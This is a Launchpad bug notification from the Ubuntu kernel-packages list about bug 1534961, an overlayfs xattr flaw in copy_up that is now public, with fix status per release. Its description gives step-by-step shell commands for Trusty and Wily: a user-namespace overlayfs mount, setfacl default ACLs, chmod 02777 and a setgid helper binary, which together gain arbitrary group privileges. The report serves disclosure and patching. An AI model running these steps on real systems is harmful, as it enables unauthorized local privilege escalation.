** Information type changed from Private Security to Public Security -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1534961
Title: insecure overlayfs xattrs handling in copy_up Status in linux package in Ubuntu: Confirmed Status in linux source package in Trusty: Fix Released Status in linux source package in Vivid: Fix Released Status in linux source package in Wily: Fix Released Status in linux source package in Xenial: Confirmed Bug description: On Ubuntu Trusty but also Ubuntu Wily, following sequence allows to gain group privileges of arbitrary groups that created directories with properties to be found using "find / -perm -02020", e.g. /usr/local/lib/python3.4 root.staff /var/lib/libuuid libuuid.libuuid /var/local root.staff /var/mail root.mail For Ubuntu Trusty, following sequence can be used to reproduce the problem: * In user/mount namespace: rm -rf Mnt Test mkdir Mnt Test mount -t overlayfs -o lowerdir=/var,upperdir=Test overlayfs Mnt * Outside namespace setfacl -m d:u:[your unpriv uid]:rwx Test * Inside: chmod 02777 Mnt/mail umount Mnt * Outside: ~/CreateSetgidBinary Test/mail/escalate /bin/mount x nonexistent-arg Test/mail/escalate ~/ReportUidGidCwd For Ubuntu Wily: * Inside: mkdir Mnt Test Work mount -t overlayfs -o lowerdir=/var,upperdir=Test,workdir=Work overlayfs Mnt * Outside: setfacl -m d:u::rwx,d:u:[your unpriv uid]:rwx Work/work * Inside: chmod 02777 Mnt/mail umount Mnt * Outside: ~/CreateSetgidBinary Test/mail/escalate /bin/mount x nonexistent-arg Test/mail/escalate ~/ReportUidGidCwd CreateSetgidBinary is from http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ See also http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/ (InvitedOnly/lY9yHKQj) and attached sharing policy. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1534961/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : [email protected] Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
